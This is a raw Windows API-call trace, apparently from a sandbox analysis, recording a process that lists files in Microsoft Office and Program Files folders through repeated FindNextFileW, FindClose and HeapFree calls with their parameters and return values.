	[0163.605] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.605] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237aeb7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x397278, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1
	[0163.717] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.717] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4cce0ca, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cce0ca, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0163.717] FindClose (in: hFindFile=0x4140d58 | out: hFindFile=0x4140d58) returned 1
	[0163.717] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.717] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1349614, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x14a640, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1
	[0163.766] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.766] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1
	[0163.766] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0163.766] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rsod", cAlternateFileName="")) returned 1
	[0163.795] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe8 | out: hHeap=0x5a0000) returned 1
	[0163.795] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0163.824] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.824] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0163.824] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0163.824] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.825] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0163.827] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.827] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1
	[0163.829] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.829] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 0
	[0163.829] FindClose (in: hFindFile=0x41402d8 | out: hFindFile=0x41402d8) returned 1
	[0163.829] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.829] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f09, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1
	[0163.876] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.876] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LoanAmortization.xltx", cAlternateFileName="LOANAM~1.XLT")) returned 1
	[0163.897] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.905] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0163.908] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.908] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0
	[0163.908] FindClose (in: hFindFile=0x4140298 | out: hFindFile=0x4140298) returned 1
	[0163.908] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.908] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0
	[0163.908] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0163.909] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.910] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1db9f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OriginLetter.Dotx", cAlternateFileName="ORIGIN~3.DOT")) returned 1
	[0163.911] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.911] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1
	[0163.911] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.911] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0
	[0163.911] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0163.911] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0163.911] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x310f584 | out: lpFindFileData=0x310f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 1
	[0163.913] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.913] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1
	[0163.913] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.913] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1
	[0163.913] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.913] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 0
	[0163.913] FindClose (in: hFindFile=0x4140298 | out: hFindFile=0x4140298) returned 1
	[0163.913] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.914] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 1
	[0163.917] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.917] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 0
	[0163.917] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0163.917] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.917] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Common Programs", cAlternateFileName="COMMON~1")) returned 1
	[0163.919] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.919] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneDrive for Business.lnk", cAlternateFileName="ONEDRI~1.LNK")) returned 1
	[0163.919] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.919] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868ac6fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0163.927] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.927] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="private", cAlternateFileName="")) returned 0
	[0163.927] FindClose (in: hFindFile=0x41402d8 | out: hFindFile=0x41402d8) returned 1
	[0163.927] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.927] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX64", cAlternateFileName="PROGRA~3")) returned 1
	[0163.928] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0163.928] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1
	[0163.929] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.929] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2f7aa31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f7aa31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1702b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1
	[0163.929] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.929] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1
	[0163.930] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0163.931] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf086f11e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf086f11e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf086f11e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1
	[0163.932] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.932] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1
	[0163.932] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.932] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14c6cb9, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x14c6cb9, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1
	[0163.932] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.932] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2e1f46, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1
	[0163.934] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.934] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12910b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26737b32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26737b32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1
	[0163.936] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
